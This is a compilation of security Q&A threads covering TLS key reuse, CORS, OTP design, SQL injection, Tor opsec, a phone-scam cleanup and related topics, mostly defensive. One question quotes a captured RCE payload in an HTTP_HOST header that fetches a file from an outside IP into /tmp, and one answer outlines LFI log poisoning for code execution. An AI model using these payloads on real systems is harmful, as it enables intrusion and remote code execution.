At the high paranoia end "short term" might mean "once for each connection". And at the low paranoia end "short term" might mean "until you reinstall the software because key shares are only ever generated on install". -- And everything in between. For example with F5 I think the default is to regenerate DH keys once per hour. But you can optionally set the "single DH use parameter" to actually regenerate for each connection. And OpenSSL has an option called "SSL_OP_SINGLE_DH_USE" that, I think, does the same thing. And otherwise DH keys are only regenerated upon server restart. And with Citrix NetScaler you can define a max count of connections after which the DH keys are regenerated.

(See a related answer of mine.)

I don't think the TLS specs ever specify how often you're supposed to regenerate ephemeral keys. I think they leave this up to implementor completely and never make an explicit or even implicit comment.

Now what does this mean security wise? Let's assume that you have a TLS connection. With the best case -- single DH use -- on one end. And a not so good case -- regeneration of DH keys upon server restart -- on the other end. And let's a assume that we have a man in the middle attacker who is employing a "take-all" attack. And just logs encrypted traffic for a few weeks.

Now if that attacker somehow gets a non-full compromise of one of the connection ends -- like e.g. a snapshot with RAM of one of that ends -- what does that give him?

If he is lucky enough to get the snapshot of the not-so-good end than this would allow that attacker to retroactively decrypt any logged past DHE secured connection from the past. Since server restart. And also INTO THE FUTURE until the next restart.

And it doesn't matter if all the other ends are constantly changing their part the ephemeral key dance.

Hope this somehow answers your question.

Side note: there was actually some DEMAND for TLS clients/servers that DO NOT actually have much ephemerality (is that a word?) to their ephemeral keys during the TLS 1.3 design process: https://tools.ietf.org/html/draft-rhrd-tls-tls13-visibility


Telemedicine on Google+ Hangouts or Skype. Is it encrypted? Would one be able to have a telemedicine conversation with a patient with google+ hangouts the way one can over a telephone? In other words does the security satisfy the HIPAA regulations that say private health information can only be transmitted over secure channels? So my technical questions are, "Is video conferencing secure? Is it encrypted?". The security rule of HIPAA does not lay down specifications but rather says safeguards have to be in place. In other words one cannot just leave it in the open.

Today, I heard that Skype is not encrypted. I heard Google+ is not encrypted. I heard that of the consumer video conferencing platforms, only Apple Facetime was encrypted. True or False?

This started to be discussed in a thread that is now closed.

I also found the following Google+ information semi-useful but do not know what happens if UDP connection is not in use.

Here's the answer to the technical part of the question. As for the legal bit, well... here's the technical bit:

All three services are encrypted, but there's some concern about the scope of that encryption:

Client-only encryption:

   Me              Provider            You
+-------+        +----------+       +-------+
| Plain |========|  Plain   |=======| Plain |
+-------+        +----------+       +-------+

End-To-End Encryption:

   Me              Provider            You
+-------+        +----------+       +-------+
| Plain |===========================| Plain |
+-------+        +----------+       +-------+

If your worry is eavesdropping by between you and your provider, then client-only encryption is fine. If you want to make sure that there is no evesdropping or modification anywhere along the path between between me and you, then only end-to-end encryption is sufficient.

Voice and data are often encrypted end-to-end simply as a matter of performance: it's a lot of data to move around, so the traffic goes directly between the two callers ("Peer to Peer"), which means it's also encrypted from one caller to the other.

Text data (chats) are typically routed through the provider's servers. This allows them to store chat history and deliver messages to offline users when they come back online. These are typically not encrypted end-to-end.

As for as who does what, all three systems are proprietary, so you don't know. We know with certainty that Skype's text messages are not encrypted end-to-end because Microsoft actually visits URLs you send over Skype, we know Google+ text messages are not end-to-end encrypted because your chat history shows up in your Gmail box. And it appears that Apple has access to your facetime text messages as well.

As for the security of voice and video; as mentioned before, peer-to-peer communication is typical, which would prevent snooping. But it is at least possible for all these providers to route traffic through their own servers as intermediaries, perhaps on a call-by-call basis.

But perhaps most importantly: All three of these services are more secure than a telephone. The security of telephone calls is approximately zero. Most phones make no attempt at encryption; listening to the phone call is as simple as attaching a speaker to the wire.


OpenSSH server default configuration options OpenSSH server is configured by using sshd_config. I know there are defaults for nearly all options available and they are listed here (http://man.openbsd.org/sshd_config).

I know, that some defaults changed through different ssh versions and a colleauge of mine added that even the same ssh versions between different Unix flavours use different default values.

Is there an overview available which version/OS/... uses which default values?

/usr/sbin/sshd -tT enables test mode and extended test mode. This command dumps a normalized output of what settings are going to be set and to which values.

I use the -tT first, and use the captured output as the starting point of all my configs.  This way I know exactly and explicitly what is going on with this particular release/build of OpenSSH.  It's annoying to do it for every release, but it's the only way I found to get the real values.

I used to parse out the manpage, but that turned out to be lagging behind the settings in the code.


Node's createHmac function for the node.js crypto command:

crypto.createHmac('this is a test', key);

What is node expecting for key's encoding?

utf8? a binary buffer?

Since javascript uses UTF-16 strings, I suspect it is expecting a UTF-16 encoded string.  Just to clarify, your first parameter should be a hash algorithm ('sha1', 'md5', etc.) not the data to be encrypted.


vuln Cross-origin resource sharing: arbitrary origin trusted i have some trouble tO exloit CORS respons form burp
 The application allowed access from the requested origin https://xrmtfgxgjkzw.com
request

GET wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.foo.com%2Fblog%2%2F HTTP/1.1
Host: www.foo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: https:foo.com
Cookie: TitleTrial=0; PitchTrial=0; __utma=223462276.2101520464.1484064735.1484839851.1485078453.10; __utmz=223462276.1485078453.10.4.utmcsr=fo|utmccn=(referral)|utmcmd=referral|utmcct=/fo; __distillery=8b8098c_148a7b11-3d02-465d-801a-c732e38c665f-14f1b05a3-cdd505b2b245-71f8; muxData=mux_viewer_id=2da4d2cf-1d56-4a49-9ee7-ff8da48f9416&msn=0.4423908694377975&sid=01c7e9f7-c253-4583-9e0c-89b4bbdc60b9&sst=1485078466920&sex=1485080221025; visitor_id77672=228495947; __atuvc=1%7C2%2C2%7C3; PHPSESSID=ke08cd41dm7p6dcfrfepnhat73; __utmc=223462276; __utmt=1; visitor_id77672-hash=__utmb=223462276.7.10.1485078453; pardot=had5nb89omptc2e886vpgqju83; wordpress_test_cookie=WP+Cookie+check;
Origin: https://xrmtfgxgjkzw.com

response

HTTP/1.1 200 OK
Date: Sun, 22 Jan 2017 10:52:02 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.6.28
Set-Cookie: wordpressuser_7d2ee02a401bf41376509ec6471db505=+; expires=Sat, 23-Jan-2016 10:52:02 GMT; Max-Age=-31536000; path=/blog/
Set-Cookie: wordpresspass_7d2ee02a401bf41376509ec6471db505=+; expires=Sat, 23-Jan-2016 10:52:02 GMT; Max-Age=-31536000; path=/blog/
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages
Access-Control-Allow-Headers: Authorization
Allow: GET
Access-Control-Allow-Origin: https://xrmtfgxgjkzw.com
Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
Access-Control-Allow-Credentials: true
Vary: Accept-Encoding,User-Agent
Content-Length: 2663
Connection: close
Content-Type: application/json; charset=UTF-8

I wonder is a vuln or not and how can`t i exploitit

https://xrmtfgxgjkzw.com is just an example generated by Burp. What it is in fact saying is that any website on the internet that the user is visiting can grab content from your site (possibly private to a user) if they are also logged into it.

Scenario is as follows:

Bob logs into your site, example.com.
Bob gets an email from the attacker saying he can look at some cool cat pictures at https://xrmtfgxgjkzw.com.
Bob clicks and views said cat pictures.
Whilst the attacker site is displaying the images to Bob, it makes some background AJAX requests to https://example.com/user/messages and reads Bob's private inbox on your site.
Because the Access-Control-Allow-Origin and Access-Control-Allow-Credentials CORS headers are are set, the Same Origin Policy is not applied and allows https://xrmtfgxgjkzw.com to read the responses.

Note that the above is only a vulnerability if the headers are output on sensitive pages (i.e. those containing private user data), or pages that output secret tokens, including anti-CSRF tokens.

If there is no need to allow arbitrary origins, then you should only output the Access-Control-Allow-Origin header for origins your site trusts. If your site is self contained, then there is no need to allow any origins at all.

WordPress contains a JSON handler at /wp-json/oembed/1.0/embed?url= which is used when a link to a WordPress article is embedded in a 3rd party domain by the user (e.g. in a Facebook post). This is standard functionality of WordPress and doesn't allow access to any confidential data, however it would be better if they didn't output the Access-Control-Allow-Credentials header if not needed in case there are some undiscovered or undisclosed bugs in the handler. My best guess is this is so that authenticated content can be embedded in 3rd party domains. As the link is deemed to be secret, this prevents any random domain from requesting it. Some details here regarding oEmbed.


Is compiling untrusted code safe? I'm curious about compiling with gcc/g++/clang with the assumption that
headers and implementation files are user-provided, but not the build configuration.
(i.e., no cd lib && make)

What if the user could provide object files to link against too (static libraries)? How about user-provided compiler/linker flags thrown into the mix?

Could a malicious user bring a system down (exhaust resources) or could they even run arbitrary code this way if all they could do is submit *.cc, *.hh, and *.a files, possibly compiler flags, and have the system compile and link it all together (but not run it)?

It is not only possible, it has been documented several times in the past.

http://www.cvedetails.com/vulnerability-list/vendor_id-72/product_id-960/GNU-GCC.html

For example, http://www.cvedetails.com/cve/CVE-2008-1367/ shows a memory corruption attack that could lead to various types of compromise, if they were sufficiently exploited.

A compiler is just as susceptible as any other program to bugs and malformed input.


Why is using SQL injection to extract passwords or password hashes from a login database (that should never legitimately disclose them) even possible? (Okay, so I'll confess upfront that while I'm trying to educate myself the current state of my knowledge on web applications security is still pretty shallow. So I appreciate your patience if the way I ask this is a little clumsy.)

I was catching up on out some infosec news a few days ago when I came across this item about a gray hat security researcher/hacker who was arrested earlier this month on charges related to breaking into the web site of a county elections body in Florida. From a technical standpoint, it appears that compromise occurred when this fellow used an SQL injection attack against a login database and managed to steal the plaintext (!) password of a county elections supervisor from it. He then used those credentials to login to the content management system of the website, and that was that.

After reading about this something odd struck me. I realized that there was a pretty fundamental point about the nature of these ultra-common SQL injection thefts from password databases that I really didn't/don't understand at all.  That being: Why is it even possible to manipulate a login database to disclose password hashes (and/or usernames, salts, or any other authentication-related info) in the first place?

I can understand why SQL injection can work against databases in general; the archetypal common job of a database is to return user-readable information stored in it in response to a user query. But the job of a login credential database is very different. It does not actually require sending stored authentication information outside the database, but instead just providing an answer to the web server passing along the user-supplied credentials about whether they are valid or not. (Right?)

So why do we even use full-power database software and SQL queries to handle the pretty limited needs of username & password authentication at all?. Why aren't there limited-purpose database applications specifically aimed at just doing what a password database needs to do, vs. using general-purpose applications that leave lots of room for SQL injection to occur?  What am I missing?

There's a big gap between "does not require" and "implemented by the lowest bidder".

  why do we even use full-power database software and SQL queries

Because if you're already running a SQL database for your transactional data, implementing a second technology stack with appropriately trained development and support staff for a very specific function is very expensive.

Given they can't get one appliction stack right, how are they going to cope with two?

Admittedly the problem of SQL injection arises from APIs which don't separate code (SQL) from data (parameters) while there are other database systems (and SQL APIs) which do enforce this separation. But relational databases and SQL databases in particular, provide a huge amount of functionality which is simply not available in the other types of databases. It would be very difficult to write a shopping cart which uses LDAP for persistence.

IMHO the people responsible for developing this system are just as culpable as the hacker.


Why have some criminals moved from Tor-based forums to Telegram and similar services? A quote from Checkpoint Research

Migration to Telegram
Telegram, an encrypted instant-messaging application first introduced
in 2013, experienced a meteoric rise in subscribers (five million new
users in just 24 hours) following a server crash on the WhatsApp
messaging platform. Similar to WhatsApp, Telegram users can chat to
individuals as well as groups. What sets it apart, among other
features, however, is the pride it places on its enhanced security
capabilities. As a result, some of its hosted chat groups have become
a useful alternative to the secretive forums on the Dark Web.
Telegram’s hosted chat groups, known as ‘channels’, can be used to
broadcast messages to an unlimited number of subscribers, and, while
their entire messaging history can be viewed, any response to the
public messages is held privately. The discretion these channels thus
provide goes a long way to help disguise their malice. Any threat
actor with a shady offer or conversation to start, can enjoy private
and end-to-end encrypted chats instead of the exposed threads that are
seen in online forums. If in the past several steps were required to
ensure an anonymous connection to TOR, today any Telegram user can
easily and quickly join channels with a single tap on their phone and
start to receive notifications of clandestine conversations and offers
directly to their smartphone, all while keeping their identity
completely hidden.

I don't do any illegal activity, but I don't feel comfortable (privacy-wise) registering my mobile phone number for Telegram and similar services (such as Discord). Those services are also closed source. In most American countries you need an official ID to register for SIM card.
I see the same pattern with erotic content: some weeks ago Anon-IB (you could post as Anonymous) was shut down and people moved to Discord groups.
My claim is that Discord/Telegram is way less private than a Tor-based forum or even an anonymous forum on the clearnet. Am I wrong? What do you think about this Checkpoint Research report?

The need for anonymity
The main issue with moving off of an anonymity network to Discord or Telegram is that they are not designed for anonymity. The Tor network is designed specifically to hide the origin of the communications. There is no single centralized entity which can be forced into disclosing logs, because no single Tor relay simultaneously knows both the contents of the messages and their origin. For things like Discord or Telegram, the mere participation in a criminal chat room can be incriminating even if the contents of the conversations themselves are kept private.
A criminal network requires a few things to continue to exist. If you assume that infiltration is a risk (e.g. that members of the group may be coerced into turning into a narc), then a requirement is that the pseudonyms of users cannot be tied to their real-life identity using any technical means. A service not designed with anonymity in mind will be vulnerable to infiltration. The only way to avoid this would be to access the chat service through an anonymity network like Tor anyway and register using an anonymous identity, e.g. with a throwaway online phone number. This requires consistently good opsec, and a single slip-up or misunderstanding can spell disaster.
Issues with Discord and Telegram
There are some specific problems with using Discord or Telegram, other than requiring a mobile number. Discord is not end-to-end encrypted, so the server itself can keep logs of both IP addresses and message contents along with the regular metadata. And Telegram, while it makes attempts to be secure, has been heavily criticized for providing very poor and amateur encryption. It would be possible to create real-time chat services that do not have these problems (such as IRC private messages using end-to-end encrypted OTR), but this on its own will not provide anonymity, which is necessary for a group (criminal or otherwise) trying to exist in an adversarial environment.
When using a non-anonymous service like this, an adversary can do many things. They can:

Learn a user's pseudonymous identity.

Learn a user's real identity.

Monitor the user's communications.

Detect access to the service at the level of the ISP.

All this is possible as soon as they know the group exists. If the service being used is designed correctly to be anonymous and uses properly-implemented end-to-end encryption, they can only:

Learn a user's pseudonymous identity, if they infiltrate the group.

Monitor the user's communications, if they infiltrate the group.

In this latter case, the only way things could go wrong is if one of the users made a fatal opsec mistake, giving away personal information which can be used to identify them. A lot of opsec is required for a criminal (or otherwise targeted) group to exist, and even when following sophisticated rules, a single mistake can bring down the group and reveal the identities of many individual members. A famous case is the Yardbird group, where the leader would require that everyone maintain high-quality opsec. Eventually the group's existence was revealed when one of the members was arrested on other charges. This allowed the group to be infiltrated, and in the end, the only people who are still free are the people who used Tor. Every VPN user was caught.
Why people do stupid things
People sometimes leave anonymity networks because they are, by necessity, rather slow. For someone used to high-speed internet, the latency caused by Tor may be an inconvenience. This can drive them to move to alternatives, even if these alternatives are less secure for their purposes. Fundamentally, there is no security downside to using a Tor-based messaging platform (whether a real-time chat system or a regular forum) compared to a non-Tor-based platform.
Consistent good opsec is among the biggest hurdles for any group existing in an adversarial environment. It is so easy for people to get fed up with a less convenient but secure solution such as Tor and break their opsec. For example, a Tor user who is the target of a criminal investigation could be linked to a honeypot site with content that they would find interesting. If the honeypot blocks Tor, a surprising amount of people will turn off Tor to visit it "just once", revealing their IP. The Snowden leaks also revealed the existence of NSA programs which would attempt a DoS attack (via TCP hijacking to inject an RST) against targeted Tor users, preventing them from using the service in hopes that they would get frustrated and move to a less-anonymous alternative.


Password-less network in skyscraper office If a company has offices way up in a skyscraper, is it acceptable to have an open  network without a password, as an easy-to-use courtesy to visiting guests?

The only ones that possibly would be able to leech off this would be the company on the floor below (or guests visiting them), which probably wouldn't happen since they have their own wireless network.

[ I'm first assuming you're isolating the guest network from your corporate network.  Anything else would be irresponsible. ]

I see three common options for guest access:  no password, captive portal, or guest password.

No password means no opportunity to give them chance to agree to your guest network policy.  You risk legal trouble if a hidden neighbor runs something like a Tor exit node through your network, or a guest downloads 'questionable' materials, and you didn't warn them in advance that it's against your policy.  The upfront costs are certainly cheap, though.
A captive portal is pretty simple, and people are already used to them at coffee shops and restaurants.  It gives you the opportunity to present your visitors with your guest network policy rules, and they allow your visitor to conveniently ignore them before they click "Agree".  They are quite popular, and obviously aren't too much trouble for most people.  But you'll have to set up some kind of appliance, and that might cost a few dollars.
A simple guest password can be printed on a sign, or on a sheet of paper, and come with a copy of the policy.  It would be the least convenient option, but it's simple, fairly cheap, and helps you avoid the legal risks of not warning them.

This is really a legal question more than it is a technical question.  It's a decision of selecting a risk avoidance strategy.  It's not a certainty that you would get in legal trouble for not posting your policy, nor is it certain that posting your policy would keep you out of legal trouble.  I recommend you check with your attorney or legal department.


Best practices for generating and using random timed OTP Suppose I want to implement an OTP system that generates 6 to 10 digit numbers.
(assume its used for reset password, or send money)

The OTPs have an expiry time, so they keep getting removed from the server's memory.

I have been looking around the Internet but could not find a single reference to the following best practice:

The "attacker/user" must supply the email along with the OTP to use it.

The reason I am asking is because I have a colleague who want to implement the OTP as follows:

Generate OTP, store (OTP, email, expireTime, purpose) in server memory. If same OTP is generated again, the old entry is removed from memory.
Send OTP to email.
Ask ONLY OTP input from user (example /verifyEmail?OTP=100434).
Get the (email, purpose) from server memory for the OTP
Use the OTP for the purpose

I could not convince him that this is insecure as an attacker can simply generate random OTPs and call the routes, and automatically cause some actions.
("The OTP only expires in 3 mins", "only once in a while it will be an issue", "We used it in another project and it was fine", etc).

What I need is a blog post or article (not too technical) that explains WHY this is insecure.

Also, what are the ways to implement a good OTP system of 6 to 10 digits?

Is random OTP generation good enough?

My suggestion would be to require only (email, OTP) pair uniqueness rather than OTP uniqueness and require email + OTP to be supplied by user. Is this secure?

Your concern

When resetting a password it is a common practice to send a token to the user. The token being a long random string.
You do not necessarily need the email address in the reset-URL.

You could call the reset URL with this token and reset the password for the account to which the token belongs.

But see this: If you are using a "6 digit token", these are only 1 mio possibilities. Then an attacker could try all values and this way he would be able to reset several passwords. And if the response is, "your password for user@example.com has been reset", then the attacker would get several accounts with freshly resetted passwords.

Without ANY NEED to intercept any email.

basically for transactions

You may also take a look at the defaults, TOTP (RFC6238) and maybe OCRA (RFC6287).

OCRA also lets you generate the OTP value based on transaction data - like the money to be sent.


In end-to-end encryption where should the asymmetric encryption keys be created? I'm playing around with learning encryption with a mini messaging project, so far I can do symmetric encryption (AES) where everyone shares the same key, obviously not secure or ideal, I want to learn how to implement a true end-to-end encryption system. I've been told RSA is what I should use? My question is,

Do I generate the keys completely on the client end in javascript, or is it ok to do the key generation on the server and give them to the client?
Where do you store the private key in a website, is using sessions okay? Can I save the private key to localstorage?
Is there a good walk through with examples of implementing something in JavaScript or Python? ie, Handling key exchanges, multiple users, etc

In true end-to-end encryption you'd generate keys for authentication on the client. The actual encryption is usually done using an algorithm which supports forward secrecy, like Diffie-Hellmann. The web is a bad form factor for this, as local storage can usually be deleted at any time.

As for your last question: there is an implementation of the Signal protocol in JS here: https://github.com/signalapp/libsignal-protocol-javascript


What can a lfi without ssh open be used for If a server has LFI vulnerability, I usually try to find if ssh is open and after some research if I can't find any spilt credentials, I just bruteforce it or something.
Can I use a LFI vulnerability for something else useful to exploit the system other than looking at /etc/passwd which I usually do to find usernames.

You could poison log files for example if this is a LFI (which includes a file, i.e. executes any php code) to achieve RCE.
You could perform an HTTP request to the server using PHP code as the user agent, and try to load the log file using your LFI. If a require/include function call is made, the php code should be executed.
You will find additionnal information here: https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/ (and on multiple other pages on the internet :))
If all you can do is displaying files (i.e. a php file is displayed instead of being executed) then some people don't call this LFI but directory traversal or other terms (arbitrary file retrieval, etc.)


How can I use 'safe' Elliptic Curve algorithms in .Net Core? I'm looking to build my own digital signature operations into a program I'm writing, and the nuances of cryptography are a bit beyond me.

According to this website the NIST/NSA algorithms (P-224, P-256, P-384) are not "Safe" for a variety of reasons that are admittedly beyond my experience and knowledge.

Microsoft has implemented ECC using P-256, P-384, and P-521 in "Cryptographic Next Generation (CNG)", but none of the other "Safe" algorithms listed in the chart.

What are my options and best choices? Does P-521 correct the deficiencies of the others? Is implementing a curve as simple as turning the math formula into a function? Am I better off sticking with RSA?

I'm looking to build my own digital signature operations into a program I'm writing, and the nuances of cryptography are a bit beyond me.

Red flag! Never implement cryptography on your own. Never. Never never never. Even if you are using standard and proven algorithms, you should never be the one who puts them all together. Unless you have a very deep understanding of cryptography, do not attempt to implement it yourself! Use a library that abstracts it away, like libsodium. Don't implement crypto yourself!

  What are my options and best choices?

If none of the algorithms listed as safe on Daniel Bernstein's site are supported by the system you are using, then there is nothing you can do short of pulling in a library with support or implementing the curve yourself. However, a brief search is showing a document which claims that Windows supports Curve25519, a safe curve designed by the creator of the website you linked.

  Does P-521 correct the deficiencies of the others?

No. P-521 is similar to the other NIST curves in that they use a constant of unknown origin. Because it is bigger, it does claim to offer more security than the other, small curves. Note that the "deficiencies" you point out are highly theoretical. The worry is that the constant was chosen intentionally in order to weaken the curve. Because the constant was generated by SHA-1, a weakness would have to indicate that a very large subset of possible curves are vulnerable, and that NIST, through the NSA, knew about that. This is possible, but unlikely. Chances are, NIST curves are perfectly fine.

  Is implementing a curve as simple as turning the math formula into a function?

I'm not sure how exactly this can be done in .NET Core. However, I do see a question on Stack Overflow which indicates that it is indeed possible. I do not know anything beyond that.

  Am I better off sticking with RSA?

This depends on your use case. If you are using it for key exchange, then you should not use RSA. The reason is that RSA does not provide forward secrecy, whereas ECC (even NIST curves) does. If you are using the algorithm in a digital signature (as you indicated), then it would be safe to fall back to RSA instead. But again, you should not implement your own cryptography!


What steganographic techniques can I use in images that survive lossy compression? Learning a bit about IT security, a segment of the material was the basics of steganography - specifically, hiding information in the lowest significance bits of images, and converting images into sounds. For the first it occurred to me that many sites compress user-uploaded images, effectively destroying any information hidden this way.

My question is, are there techniques other than changing lowest significance bits that survive image compression, but aren't clearly visible?

Yes there are, the techniques are often used more for watermarking but can also be used for steganography.

One such technique is placing messages in frequency space via a 2-D Fourier Transform. Depending upon various details of the way it's done, it can survive degrees of compression, resizing, and cropping.

Here is an example:

Baseline

Stego-1 added to baseline image

FFT of Stego-1

Stego-1a Recompressed Stego-1

Stego-1a_FFT

Stego-1_resized

Stego-1_resized_FFT


Use token for Windows Server 2008 AD RMS I have a Windows Server 2008 configured for AD RMS (Active Directory Rights Management Service), another Windows Server 2008 machine that is the domain controller, and a third machine that is a member of the domain I've created to be a client.

How can I use a token in this scenario to provide access to every document with credentials on it in the client machine?

You would use the token to authenticate the user to the machine.  RMS uses a client certificate granted by the windows authenticated user to access the RMS protected document.


Is this invalid HTTP_HOST header part of an exploit? We received a large number of error messages from our django application, like this:

Invalid HTTP_HOST header: ‘target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}69.64.61.196${substr{0}{1}{$spool_directory}}rce.txt}} null)’. The domain name provided is not valid according to RFC 1034/1035.
...
Request information:
GET: action = u'lostpassword'
POST: user_login = u'admin' wp-submit = u'Get New Password'
FILES: No FILES data
COOKIES: No cookie data
...

I have not seen anything like it before, and I'm having trouble figuring out what it means. Could this be part of some exploit, or am I just being paranoid?

To expand on the answer provided by @Swashbuckler, CVE-2017-8295 specifically relates to WordPress password resets with the HOST HTTP header set.

When WordPress sends out password reset emails, they set the From/Return-Path to the value of $_SERVER['SERVER_NAME'] (in PHP). This value is set by some web servers (e.g. Apache) based on the HOST HTTP header.

This means that attackers can make WordPress send out emails that have From/Return-Path set to an email address of their choosing. If the email is bounced or responded to, it will happen to this malicious email address and - if the original email was attached - the attacker will then have access to the password reset link.

Actually abusing the exploit requires two factors to happen: the web server must read the hostname from the HOST header, and the email must be bounced or replied to. The former can be fixed by the server admin (if using Apache, by setting UseCanonicalName On), the latter requires the attacker to somehow block the victim's mail server (e.g. by DoS'ing it) or for the victim to reply to the email.

As pointed out by @TerrorBite, the attackers aren't actually targeting the password reset links, but only using the bug to exploit a bug in the PHP mail() function. See his answer below.


Fake Microsoft Security Department some Indian man called home saying that he's calling from some Windows Security Department, and there are about 16 other people connected to my computer and the're doing illegal things on my computer. He told me to go to my computer, go to this site , save the file, run it, and then he asked me to tell him the numbers in the boxes. I did as he asked, then I asked him to be specific about the company he worked for, he kept hesitating, and saying Windows security department. I found it strange, and said this seems like a scam, and he said "what is this scam you speak of", and I knew it then that I was a victim to this. I was clicking on google to look it up, but my mouse wasn't working anymore. He was still trying to cover it up saying, "Let me show you the problems, and a bunch of WARNING this and that showed up on this page" and he said these are the issues. He was talking, and pausing, so I thought that he was accessing some data on my laptop that I couldn't exactly see.I shut off my computer immediately, and he was like, "what have you done, did you shut down your laptop?" And I was hesitating, like what if he's really legit, I've just interrupted whatever. He was like, it's ok, we'll call back in like 15 min, don't do anything to your computer, leave it as is, and I said, well that means that you'll be able to see everything I do, he said "yes, but". I cut him off, saying, "you know what, don't hang up, hold on, I'm researching something, this isn't right." He said, "what, why?" with a shaky voice, and I was like, "don't worry about it, just stay on the line", and he hung up.

I was pissed! Don't judge me for letting it go this far, I didn't know that there  are things like this. I knew there are hackers online, and etc... but not those who call your house phone. I went in control panel and deleted something called (Pen Vpn) that was apparently installed today during the process, and deleted this (Team Viewer QS) thing that was also downloaded, hopefully that did the trick. Can you give any suggestions as to what I can try to stop them from having control over my laptop, cause I don't know if that did the trick, they could be reading this as I type.

1. Do not turn your laptop computer on again

At this point your laptop computer has been compromised by the thief.  The thief's software may already be installed and lying in wait for you to reconnect to the internet, and once it does it could automatically send him a copy of your saved passwords, banking bookmarks, email information, etc.   Do not turn it on unless you are sure you have shut off the laptop's WiFi and that it cannot connect to any network, or the attack could automatically resume and finish the job of robbing you.

2. Use a different computer to immediately change all of your passwords

First, change the passwords to the web sites that have your banking or credit card information stored.  Change your bank password first, then your credit card account passwords.  Next, try to list all the shopping sites that have your credit card on file, such as Amazon's One-Click, PayPal, Apple's iTunes, or any other such site.  Then change your passwords on social media sites, such as Facebook, Twitter, etc.  You don't know if the thief got a copy of your stored passwords before you shut off your computer, so to be safe you should assume that he did.

3. Consider contacting your local police

You have been the victim of a crime.  If your city is large enough, your police might be able to help you file an incident report or find assistance in dealing with this issue.

4. Decide if there is anything of value on your laptop computer
    that you need to save that is not backed up

The ideal case would be to not have to try to recover anything.  But perhaps there are email documents, word documents, photos, personal spreadsheets of information, or other data of that nature that you need to save, and that you don't have backed up.   If so, you definitely want to bring the computer to someone who understands how to safely backup any data on it that you consider valuable.  This is not as easy as it sounds.

Regardless of whether or not you need to recover data, I would recommend you seek a professional's help here (any computer repair place will help you for a price.)  But if you want to know what the next steps are, read on.

5. Re-install Windows from a disk.

This would be the disk that came with your machine, or came with your copy of Windows.  The problem is many so-called "recovery disks" aren't very good at recovering in your situation.  They may not clean up all the bad software.  Whatever option you are presented with, be sure to  make the selection of "Reformat and reinstall a fresh copy of Windows", "Restore my machine to factory state" or some such label. And if you are presented with a screen that says something like "Save my old data", or "Preserve my account", you need to say "no".

6. Run Windows Update

After you have installed Windows, but before you put any personal information on it, you need to connect it to a network and run Windows Update.  This will download any patches that have made since your Windows disk was manufactured.  This will likely take quite a while.

7. Restore your data from backups and reinstall your software

Yes, this is as ugly as it sounds.  It's going to be just as much work as putting all your stuff on a fresh computer, because that's what it you need to do here to get running again.

8. Watch your bank statements

There is a chance that the attacker already has enough data to start stealing from you.  Keep an eye on your bank balance and your credit card statements, and immediately report anything suspicious.


why does the first certificate have a RSA public key in x.509? Example from http://en.wikipedia.org/wiki/X.509#Extensions_informing_a_specific_usage_of_a_certificate

1st certficate - freesoft

2nd - CA thawte

Don't we use the RSA public key from the 2nd certificate to verify the MD5 of the first certificate?

If so, then what is the use of a RSA public in the 1st?

The public key contained in a certificate can be used in two ways:

It is used to decrypt something that has been encrypted with the corresponding private key (typically to verify a signature)
It is used to encrypt something that will be "decrytable" only with the corresponding private key

There is a great number of certificates on the Web, so in order to trust them, we use third party "Certificate Authorities". You have a list of trusted CA certificates built-in your browser. The main goal of this certificates is to sign other certificates, to prove that they are valid (If someone you trust tells you that another person is trustworthy, you just trust that other person - that is the logic anyway).

That is why we use the public key of the second certificate in your example to verify the signature of the first certificate. But you will then use this certificate for something (encryption, signature, etc.), and that is when you will need the certificate's public key.


Can an end-user modify conditional rendering in React? On my Single Page App I am using MSAL.js to authenticate users and to also extract the groups they belong to by using Microsoft Graph endpoints. I save to a variable the Specific groups the user belongs to. According to the content of that variable, a different Home Page will be rendered. The code looks like this:

if (user.group == 'AppAdmin') {
    return (

 Admin Dashboard

    );
} else if (user.group == 'AppManager') {
    return (

 App Manager Dashboard

    );
} else {
    return (

 User Dashboard

    );
}

user.group contains the group the user belongs to in Active Directory.

Will an end user not belonging to the AppAdmin or AppManager groups be able to modify in their web browser the variable user.group value to fool the browser into rendering admin or manager content?

It's not just that they can modify the variable to show whatever dashboard they want - the fact is that they have full control over the app, can view all code, can view all data in the app, etc... The client has full control over the app, so if you have any data, logic, or code that you don't want users to see, your only option is to never send it down.

Client side checks have only one purpose: to provide a nice user interface for users. They have no security value whatsoever.


Secure way for bulk mailbox verification to avoid IP Blacklisting We have built an API that verifies a address existence in the respective MX using
RCTP command. Their are many services available out there but we like to do it again since we have few clients who need this service, And we manage their lists.

The application uses more than just one way verification, from syntax to mailbox existence and spam databases. The application worked fine with all the ISPs like gmail, yahoo, msn etc but our test server's IP got blacklisted. Now we want to set-up a dedicated server and other things that will let up verify at lest 15-20k list per day.

So, my question is how to do it, What are the hardwares and softwares needed and any suggestion to make it more secure maybe using a advance SSL/TSL etc or using some relays, I dont know about it but got many suggestions about it. I am open for any architecture for the server and ready to spend any amount of money. In any situation the server's IP must not get BLACKLISTED.

This is not about capacity management because sending bulk request is not allowed without secure environment.

Thanks alot,
Meeshal K

While you might have a valid reason to do mass verification of e-mail addresses such validations are also done in preparation of spamming these users and thus are often considered misuse - which will quickly get you onto blacklists. No TLS will help you in this case, because TLS only protects the transport but says nothing about abuse or not.


Tracking if an email was opened in gmail I know there is some ways to know if an email has been opened such as return receipt which is "blocked" by default in most email clients nowadays.
There is also url or image tracking (with gmail downloading images automatically).

I would like to know if you can think of any other, legit or not, ways to get acknowledgment of the opening of an email ?

Edit for clarity : my concern is more from the receiver's point of view. When you open an email, is there any ways for the sender to know it was opened aside of url/image tracking ? I'm on gmail with defaults settings, but interested in other clients as well

The only foolproof way is the good old QSL of radio amateurs. That means that you end your mail with QSL? if the recipients are used to that Q code, or simply use a sentence like Please confirm receipt of that message which means the same.

